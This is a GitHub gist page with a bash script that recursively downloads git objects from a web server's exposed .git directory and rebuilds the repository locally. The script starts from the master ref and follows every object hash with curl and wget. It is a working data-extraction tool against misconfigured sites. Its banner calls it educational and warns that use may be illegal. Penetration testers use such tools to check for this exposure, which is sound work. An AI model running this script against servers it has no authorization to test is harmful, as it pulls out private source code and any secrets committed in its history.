Skip to content

Instantly share code, notes, and snippets.

@eshaan7
Last active November 6, 2020 09:15
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save eshaan7/b7bb2aeaa05e17364a1e0a5239277a88 to your computer and use it in GitHub Desktop.
Save eshaan7/b7bb2aeaa05e17364a1e0a5239277a88 to your computer and use it in GitHub Desktop.
Recursively downloads all hashed objects from a .git repo exposed on a webserver which do not have directory listing enabled and places them perfectly in a newly initialized git repo.
#!/bin/bash
green='\033[1;32m'
NC='\033[0m' # No Color
function banner ()
{
echo -e "\n${green}------------------------------
\n## Developer: @eshaan7, github.com/eshaan7
## Use at your own risk. Usage might be illegal in certain circumstances.
## Only for educational purposes!
\n------------------------------\n${NC}"
}
function info ()
{
echo -e "${green}\n------------------------------"
echo -e "[+] Downloaded /.git/objects/${1:0:2}/${1:2}"
echo -e "------------------------------${NC}"
git cat-file -p $1
}
function recursive_get ()
{
wget --quiet ${target}/.git/objects/${1:0:2}/${1:2} -P .git/objects/${1:0:2}/ > /dev/null
git cat-file -p ${1} | sed 's/\s\+/ /g' | cut -d " " -f3 | grep -E '[a-z0-9]{40}' |
while read o
do
recursive_get $o
info $o
done;
}
function get ()
{
wget --quiet ${target}/.git/objects/${1:0:2}/${1:2} -P .git/objects/${1:0:2}/ > /dev/null
}
banner
target=$1
mkdir -p /tmp/${target}-gitdump/
cd /tmp/${target}-gitdump/
git init
first=$(curl --silent http://${target}/.git/refs/heads/master 2>/dev/null)
get $first
info $first
next=$(git cat-file -p ${first} | cut -d " " -f2 | grep -E '[a-z0-9]{40}')
get $next
info $next
recursive_get $next
@starlingvibes
Copy link

Nice scripting

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment